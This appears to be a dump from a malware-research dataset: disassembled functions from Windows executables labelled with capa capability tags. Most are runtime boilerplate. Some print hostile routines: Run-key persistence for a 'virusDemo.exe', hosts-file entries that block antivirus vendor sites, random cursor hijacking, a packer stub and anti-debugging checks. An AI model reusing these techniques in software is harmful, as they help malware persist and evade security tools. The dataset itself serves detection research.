joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400018e0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140007650
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140007650
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140001950
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000c0b4]
mov rbx, rcx
test esi, esi
jle 0x140001a80
mov rax, qword [0x14000c0b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000199b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001a25
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001980
mov rcx, rbx
call fcn.1400023a0
mov rdi, rax
test rax, rax
je 0x140001aa2
mov rax, qword [0x14000c0b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400024e0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000c0b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001a87
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001a1e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001a30
add dword [0x14000c0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000c0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001a1e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400018e0
nop dword [rax]
xor esi, esi
jmp 0x1400019a8
mov rax, qword [0x14000c0b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400018e0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.1400018e0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002010
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000c120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000c100]
test rbx, rbx
je 0x14000206c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002063
test rsi, rsi
je 0x140002063
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002048
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400023a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009790]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400023c0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400023c8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400023c0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000241d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002414
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400023c0
add rax, 0x28
cmp rax, r9
jne 0x140002400
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009790]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000243f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002448
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000243f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400024e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009790]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400024ff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002508
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00404700]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00404710]
mov dword [rax], 1
mov rax, qword [0x00404720]
mov dword [rax], 1
mov rax, qword [0x004046f0]
mov dword [rax], 1
mov rax, qword [0x004045b0]
cmp word [rax], 0x5a4d
je 0x4010d0
mov rax, qword [0x004046e0]
mov dword [0x00407008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010c2
mov ecx, 2
call sym.__set_app_type
mov rcx, 0xffffffffffffffff
call dbg._encode_pointer
mov rdx, qword [0x00404640]
mov qword [rdx], rax
mov rdx, qword [0x00404630]
mov qword [rdx], rax
mov rax, qword [0x004046a0]
mov edx, dword [rax]
mov rax, qword [sym.imp.msvcrt.dll__fmode]
mov rax, qword [rax]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x00404560]
cmp dword [rax], 1
je 0x401120
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401133
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058
Function at 0x40154d
Capabilities:
Execute command
Persist via run registry key
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8d, 0
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersion_run
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x28], 0x11
lea rdx, str.C:_virusDemo.exe
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.virus
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rcx, str.copy_Parte2.exe_c:_virusDemo.exe
call sym.system
movabs rax, 0x6461746365666e49
mov qword [rbp - 0x30], rax
movabs rax, 0x745320726f70206f
mov qword [rbp - 0x28], rax
mov dword [rbp - 0x20], 0x406d7261
mov word [rbp - 0x1c], 0xa6e
mov byte [rbp - 0x1a], 0
lea rdx, [0x00404069]
lea rcx, str.C:777.txt
call sym.fopen
mov qword [rbp - 8], rax
mov rdx, qword [rbp - 8]
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.fputs
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
lea rcx, str.Archivo_777_creado
call sym.printf
lea rcx, str.c:windows_system32msg.exe__PRESIONE_F3_PARA_DETENER_ESTE_VIRUS_DE_APRENDIZAJE
call sym.system
lea rcx, str.c:windows_system32ping.exe__n_1_google.com____C:777.txt
call sym.system
lea rcx, str.echo_127.3.3.3_avg.com____c:windows_system32driversetchosts
call sym.system
lea rcx, str.echo_127.3.3.3_www.avg.com____c:windows_system32driversetchosts
call sym.system
lea rcx, str.echo_127.3.3.3_eset.com____c:windows_system32driversetchosts
call sym.system
lea rcx, str.echo_127.3.3.3_www.eset.com____c:windows_system32driversetchosts
call sym.system
lea rcx, str.echo_127.3.3.3_avira.com____c:windows_system32driversetchosts
call sym.system
lea rcx, str.echo_127.3.3.3_www.avira.com____c:windows_system32driversetchosts
call sym.system
nop
add rsp, 0x60
pop rbp
ret

Function at 0x4016a7
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x80]
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov ecx, eax
call sym.srand
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
sub eax, 1
mov dword [rbp - 0x54], eax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
sub eax, 1
mov dword [rbp - 0x58], eax
jmp 0x40172f
call sym.rand
cdq
idiv dword [rbp - 0x58]
mov eax, edx
lea ebx, [rax + 1]
call sym.rand
cdq
idiv dword [rbp - 0x54]
mov eax, edx
add eax, 1
mov edx, ebx
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_SetCursorPos]
call rax
mov ecx, 5
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov ecx, 0x72
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
je 0x4016f8
add rsp, 0x38
pop rbx
pop rbp
ret
Function at 0x401950
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movsxd rbp, dword [0x00407054]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x401a6a
mov rax, qword [0x00407058]
xor r9d, r9d
add rax, 8
mov r10, qword [rax]
cmp rbx, r10
jb 0x40199e
mov rdx, qword [rax + 8]
mov r11d, dword [rdx + 8]
add r10, r11
cmp rbx, r10
jb 0x401a50
add r9d, 1
add rax, 0x18
cmp r9d, ebp
jne 0x401982
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x401aa2
lea rbp, [rbp + rbp*2]
shl rbp, 3
mov r13, rbp
add r13, qword [0x00407058]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call dbg._GetPEImageBase
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x00407058]
mov rcx, qword [rax + rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401a85
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401a49
sub eax, 0x40
and eax, 0xffffffbf
je 0x401a49
mov r9, rbp
add r9, qword [0x00407058]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x401a71
add dword [0x00407054], 1
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sym.memcpy
xor ebp, ebp
jmp 0x4019ab
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
mov rax, qword [0x00407058]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbp + 8]
call dbg.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call dbg.__report_error
nop
nop word cs:[rax + rax]

Function at 0x402680
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x402690
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x4026a0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x4026e1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x4026d8
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x4026e3
add rax, 0x28
cmp rax, r9
jne 0x4026c4
xor eax, eax
repz ret

Function at 0x402790
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x004045b0]
cmp word [rbx], 0x5a4d
je 0x4027b0
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rsi, rcx
mov rcx, rbx
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4027a4
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp dbg._FindPESection
Function at 0x402a00
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x004079c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004079a0]
test rbx, rbx
je 0x402a54
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x402a4b
test rsi, rsi
je 0x402a4b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402a30
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x004079c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
Function at 0x401c87
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x1c
mov ecx, 0xf768efe9
call fcn.0040181e
add rsp, 0x1c
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret
Function at 0x1401bcde0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1401bcded
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1401bcdfd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1401bcde5
lea eax, [rcx + 1]
jmp 0x1401bce0b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1401bce1e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1401bce04
sub eax, 3
jb 0x1401bce3e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1401bce8d
sar eax, 1
movsxd rbp, eax
jb 0x1401bce74
jmp 0x1401bce4c
add ebx, ebx
jne 0x1401bce4a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1401bce74
inc ecx
add ebx, ebx
jne 0x1401bce5a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1401bce74
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1401bce6d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1401bce5c
add ecx, 2
jmp 0x1401bce79
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1401bcda2
jmp 0x1401bcded
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x4e00
mov dl, 2
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1401bced9
cmp rsi, rcx
jae 0x1401bcee1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1401bcec0
cmp al, 0x8f
ja 0x1401bcec0
cmp byte [rsi - 2], 0xf
je 0x1401bcec6
sub al, 0xe8
cmp al, 1
ja 0x1401bceaa
cmp rsi, rcx
jae 0x1401bcee1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1401bceb0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1401bcee1
lodsb al, byte [rsi]
jmp 0x1401bcec0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x1b9000]
mov eax, dword [rdi]
or eax, eax
je 0x1401bcf4a
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1becac]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1401bceee
jns 0x1401bcf23
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1401bcf2d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1401bcf44
mov qword [rbx], rax
add rbx, 8
jmp 0x1401bcf0e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1401bcf84
cmp al, 0xef
ja 0x1401bcf76
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1401bcf56
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1401bcf65
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1401bcfd8
sub rsp, 0xffffffffffffff80
jmp 0x140004f20
Function at 0x100002710
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x100004110]
jne 0x10000272b
rol rcx, 0x10
test cx, 0xffff
jne 0x100002727
ret 0
ror rcx, 0x10
jmp 0x100002a1c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x100004240]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x100004338]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x100002aa1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x100004240]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x100002ac3
mov rax, qword [rsp + 0x88]
mov qword [0x100004338], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1000042d8], rax
mov rax, qword [0x100004338]
mov qword [0x1000041b0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1000042c0], rax
mov dword [0x1000041a0], 0xc0000409
mov dword [0x1000041a4], 1
mov rax, qword [0x100004110]
mov qword [rsp + 0x68], rax
mov rax, qword [0x100004118]
mov qword [rsp + 0x70], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1000012c0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x1000028b8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
cmp rcx, rdx
je 0x100002905
cmp rcx, 0xffffffffffffffff
je 0x100002905
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1000028fd
cmp dword [rcx + 0x3c], edx
jl 0x1000028fd
cmp dword [rcx + 0x3c], 0x10000000
jae 0x1000028fd
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
add eax, ecx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x100002905
mov rax, rdx
add rsp, 0x18
ret
Function at 0x140002c40
Capabilities:
Check for debugger via api

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
xor edi, edi
mov rbx, rcx
mov dword [rsp + 0x48], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
cmp dword [rsp + 0x48], edi
je 0x140002ca8
mov qword [rbx + 0x10], 3
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [0x140162690]
mov word [rbx], ax
movzx eax, byte [0x140162692]
mov byte [rbx + 2], al
mov rax, rbx
mov byte [rbx + 3], dil
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov qword [rbx + 0x10], rdi
mov rax, rbx
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], dil
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x140003050
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
sub rsp, 0x18
mov rax, qword gs:[0x60]
xor edx, edx
xorps xmm0, xmm0
test byte [rax + 0xbc], 0x70
movups xmmword [rcx], xmm0
je 0x14000309c
mov qword [rcx + 0x10], 3
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov eax, dword [0x1401626a4]
mov word [rcx], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_50]
mov byte [rcx + 2], al
mov rax, rcx
mov byte [rcx + 3], dl
add rsp, 0x18
ret
mov qword [rcx + 0x10], rdx
mov rax, rcx
mov qword [rcx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rcx], dl
add rsp, 0x18
ret
Function at 0x140006590
Capabilities:
Enumerate gui resources

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x60
mov rbx, rcx
xor edi, edi
mov dword [rsp + 0x20], edi
xor edx, edx
lea rcx, [0x140006400]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rdx, rbx
lea rcx, [0x14019ea98]
call fcn.140008770
mov dword [rsp + 0x20], 3
mov rax, qword [rbx + 0x10]
dec rax
mov rcx, rbx
cmp qword [rbx + 0x18], 8
jb 0x1400065e2
mov rcx, qword [rbx]
mov qword [rbx + 0x10], rax
mov word [rcx + rax*2], di
mov rax, qword [0x14019ea80]
movsxd rcx, dword [rax + 4]
lea rdx, [0x14019ea80]
mov eax, 4
cmp qword [rcx + rdx + 0x48], 0
cmovne eax, edi
mov dword [rcx + rdx + 0x10], eax
test dword [rcx + rdx + 0x14], eax
jne 0x140006622
mov rax, rbx
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
mov edx, 1
lea rcx, [rsp + 0x28]
call fcn.140001a00
mov r8, rax
lea rdx, str.ios_base::badbit_set
lea rcx, [rsp + 0x38]
call fcn.140002af0
lea rdx, [0x1401951d8]
lea rcx, [rsp + 0x38]
call fcn.140112660
int3
Function at 0x14000ced0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov r14, r8
mov rbp, rdx
mov rdi, rcx
mov rbx, r8
je 0x14000cf68
test r8, r8
jle 0x14000cf60
nop word [rax + rax]
mov rcx, rdi
call fcn.1400088d0
test rax, rax
jle 0x14000cf3e
mov rcx, qword [rdi + 0x40]
cmp rbx, rax
mov rsi, rbx
mov rdx, rbp
cmovge rsi, rax
mov r8, rsi
mov rcx, qword [rcx]
call fcn.140111970
mov rax, qword [rdi + 0x58]
sub rbx, rsi
sub dword [rax], esi
mov rcx, qword [rdi + 0x40]
movsxd rax, esi
add qword [rcx], rax
jmp 0x14000cf58
mov rax, qword [rdi]
mov rcx, rdi
movzx edx, byte [rbp]
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x14000cf60
dec rbx
mov esi, 1
add rbp, rsi
test rbx, rbx
jg 0x14000cf00
sub r14, rbx
mov rax, r14
jmp 0x14000cfe6
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], r15
mov r9, qword [rax]
test r9, r9
je 0x14000cf81
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14000cf83
xor ecx, ecx
movsxd rsi, ecx
test r14, r14
jle 0x14000cfdb
test ecx, ecx
jle 0x14000cfbc
cmp r14, rsi
mov rcx, r9
cmovl rsi, r14
mov r8, rsi
call fcn.140111970
mov rax, qword [rdi + 0x58]
add rbp, rsi
sub r14, rsi
sub dword [rax], esi
mov rcx, qword [rdi + 0x40]
movsxd rax, esi
add qword [rcx], rax
test r14, r14
jle 0x14000cfdb
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14000cfdb
mov r8, r14
mov edx, 1
mov rcx, rbp
call fcn.140119dec
sub r14, rax
mov r15, qword [rsp + 0x40]
sub rbx, r14
mov rax, rbx
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
Function at 0x14000d000
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x14000d031
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rdi
je 0x14000d0ab
mov rdi, r14
mov rcx, rbx
call fcn.1400088f0
test rax, rax
jle 0x14000d083
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.140111970
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14000d09b
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + gethostname]
cmp eax, 0xffffffff
je 0x14000d0a3
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x14000d045
sub r14, rdi
jmp 0x14000d18f
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x14000d0c2
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000d0c4
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000d0f6
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.140111970
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x14000d18c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000d131
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
